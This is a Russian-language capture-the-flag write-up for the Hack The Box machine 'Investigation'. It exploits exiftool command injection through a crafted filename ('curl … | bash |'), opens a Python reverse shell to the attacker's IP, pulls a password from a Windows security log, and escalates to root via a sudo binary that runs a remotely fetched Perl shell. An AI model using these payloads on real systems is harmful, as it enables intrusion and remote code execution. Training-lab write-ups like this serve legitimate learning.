Хакер - HTB Investigation. Ищем секреты в журнале безопасности Windows

Хакер - HTB Investigation. Ищем секреты в журнале безопасности Windows

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я покажу, как экс­плу­ати­ровать RCE в популяр­ной прог­рамме exiftool, затем мы получим жур­нал безопас­ности Windows и про­ана­лизи­руем логи. При повыше­нии при­виле­гий раз­ревер­сим прос­тень­кий ELF-файл.

Зах­ватывать мы будем тре­ниро­воч­ную машину Investigation с пло­щад­ки Hack The Box. Ее уро­вень слож­ности — сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.197 investigation.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

По резуль­татам ска­ниро­вания име­ем все­го три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.41;
  • 1234 — веб‑сер­вер Python 3.8.10.

На SSH идти нет смыс­ла, порт 1234, видимо, был открыт дру­гим игро­ком, что­бы ска­чивать с сер­вера фай­лы, поэто­му оста­ется идти толь­ко на веб‑сер­вер на 80-м пор­те. А там, как отра­жено в http-title, выпол­няет­ся редирект на http://eforenzics.htb. Добав­ляем этот домен в /etc/hosts и смот­рим сайт.

10.10.11.197 investigation.htb eforenzics.htb

Глав­ная стра­ница сай­та

ТОЧКА ВХОДА

На сай­те находим сер­вис для ана­лиза изоб­ражения и фор­му для заг­рузки ана­лизи­руемо­го фай­ла.

Стра­ница заг­рузки фай­ла

При попыт­ке заг­рузить какой‑нибудь отличный от изоб­ражений фор­мат получа­ем ошиб­ку, то есть сра­зу заг­рузить PHP-шелл не вый­дет. Тог­да заг­ружа­ем кар­тинку в PNG и получа­ем ссыл­ку на готовый отчет.

Ре­зуль­тат заг­рузки фай­ла

От­чет пред­став­ляет собой обыч­ный вывод прог­раммы exiftool.

Ре­зуль­тат ана­лиза фай­ла

Од­нако мы узна­ли вер­сию прог­раммы — 12.37. Это уже неп­лохая зацеп­ка.

ТОЧКА ОПОРЫ

Пер­вым делом сто­ит про­верить, есть ли для обна­ружен­ной вер­сии exiftool готовые экс­пло­иты. Мож­но поис­кать на HackerOneexploit-db, GitHub и, конеч­но, в Google.

По­иск экс­пло­итов в Google

В резуль­тате я нашел ре­пози­торий про­екта, отку­да узнал, что эта вер­сия уяз­вима перед инъ­екци­ей коман­ды через имя фай­ла. Таким обра­зом, если имя передан­ного в exiftool фай­ла закан­чива­ется вер­тикаль­ной чер­той | и этот файл при­сутс­тву­ет в фай­ловой сис­теме, то сим­вол | будет рас­смат­ривать­ся как пайп и коман­да, ука­зан­ная до это­го пай­па, будет выпол­нена в коман­дной обо­лоч­ке.

Пе­реиме­нуем наше изоб­ражение, что­бы его новое имя сос­тояло из коман­ды для выпол­нения и завер­шающе­го его пай­па.

cp 01.png 'curl 10.10.14.78 | bash |'

Та­ким обра­зом, если заг­рузить «новый» файл, то файл index.html будет зап­рошен с нашего сер­вера и выпол­нится в Bash. На сво­ем хос­те запус­тим прос­той веб‑сер­вер python3 -m http.server 80 и соз­дадим файл index.htm, который будет содер­жать реверс‑шелл на Python.

python3 -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.10.14.78",4321)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn("sh")'

Те­перь откры­ваем лис­тенер:

pwncat-cs -lp 4321

И отправ­ляем файл на ана­лиз. В лис­тенере обна­ружим новую сес­сию.

Сес­сия поль­зовате­ля www-data

ПРОДВИЖЕНИЕ

Что­бы най­ти путь для повыше­ния при­виле­гий на хос­те, нам нуж­но соб­рать информа­цию о сис­теме. Я, как обыч­но, исполь­зовал скрипт PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Заг­рузим на хост скрипт для Linux, дадим пра­во на выпол­нение и запус­тим ска­ниро­вание. В выводе скрип­та есть нес­коль­ко инте­рес­ных момен­тов.

В cron видим задачу для сбо­ра логов в файл по такому пути:

/usr/local/investigation/analysed_log

За­дачи cron

Поль­зовате­ли груп­пы www-data име­ют пра­во записи вот в этот файл:

/usr/local/investigation/analysed_log

Ка­тало­ги с раз­решени­ем на запись

В фай­ле sudoers есть запись, которая раз­реша­ет поль­зовате­лю smorton выпол­нить коман­ду /usr/bin/binary от име­ни поль­зовате­ля root.

Нас­трой­ки sudoers

Об­рати вни­мание на обна­ружен­ный файл и его родитель­ский каталог.

Со­дер­жимое катало­га

В катало­ге находим файл .msg — это фор­мат Microsoft Outlook Message. Исполь­зуемый нами pwncat-cs поз­воля­ет очень лег­ко ска­чать этот файл для ана­лиза на сво­ем компь­юте­ре.

Заг­рузка фай­ла в pwncat-cs

Файл Microsoft Outlook Message мож­но прос­мотреть с помощью одно­го из онлай­новых сер­висов, нап­ример encryptomatic.com. Это нам­ного удоб­нее, чем кон­верти­ровать пись­мо в дру­гой фор­мат.

Пе­репис­ка из фай­ла

К пись­му прик­репле­но два фай­ла, один из которых — жур­нал событий безопас­ности Windows.

Со­дер­жимое ска­чан­ного архи­ва

Для прос­мотра логов будем исполь­зовать ути­литу python-evtx.

python3 evtx_dump.py security.evtx

При­мер события в жур­нале

Пер­вым делом смот­рим события с иден­тифика­тором 4625 (ошиб­ка авто­риза­ции). В одном из событий в поле TargetUserName видим какой‑то пароль по умол­чанию. Мож­но пред­положить, что он был по ошиб­ке вве­ден в поле с име­нем поль­зовате­ля.

python3 evtx_dump.py security.evtx | grep -A 30 '4625</EventID>'

Со­бытия ошиб­ки авто­риза­ции

У нас есть пароль, про­буем исполь­зовать его для вхо­да в сис­тему от име­ни раз­ных поль­зовате­лей и служб. Спи­сок поль­зовате­лей берем из фай­ла /etc/passwd.

Со­дер­жимое фай­ла /etc/passwd

По­луча­ется авто­ризо­вать­ся по SSH как поль­зователь smorton.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Те­перь мы получи­ли кон­текст поль­зовате­ля smorton и можем вер­нуть­ся к исполня­емо­му фай­лу /usr/bin/binary.

Ин­форма­ция о фай­ле

Ска­чива­ем его на локаль­ный хост:

scp smorton@investigation.htb:/usr/bin/binary binary

И откры­ваем в любом удоб­ном деком­пилято­ре (я исполь­зую IDA с Hex Rays).

Де­ком­пилиро­ван­ный код фун­кции main

Пер­вым делом прог­рамма про­веря­ет количес­тво аргу­мен­тов (стро­ка 10), их дол­жно быть два. Затем про­исхо­дит про­вер­ка кон­тек­ста работы (стро­ка 15) — если запуск был не в при­виле­гиро­ван­ном кон­тек­сте, прог­рамма завер­шает свое выпол­нение. В стро­ке 20 про­веря­ется вто­рой аргу­мент, он дол­жен быть равен ука­зан­ной стро­ке. Если все про­вер­ки прой­дены, прог­рамма выпол­нит зап­рос на ука­зан­ный в пер­вом аргу­мен­те URL (стро­ки 27–36) и затем получен­ные дан­ные передаст как аргу­мент коман­де perl (стро­ки 37–45).

Соз­дадим на сво­ем сер­вере файл, содер­жащий шелл на Perl, что­бы пос­ле про­хож­дения всех про­верок получить коман­дную обо­лоч­ку в при­виле­гиро­ван­ном кон­тек­сте.

exec "/bin/bash";

Те­перь выпол­няем прог­рамму и получа­ем сес­сию от име­ни поль­зовате­ля root.

sudo /usr/bin/binary http://10.10.14.78/rshell.pl lDnxUysaQn

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page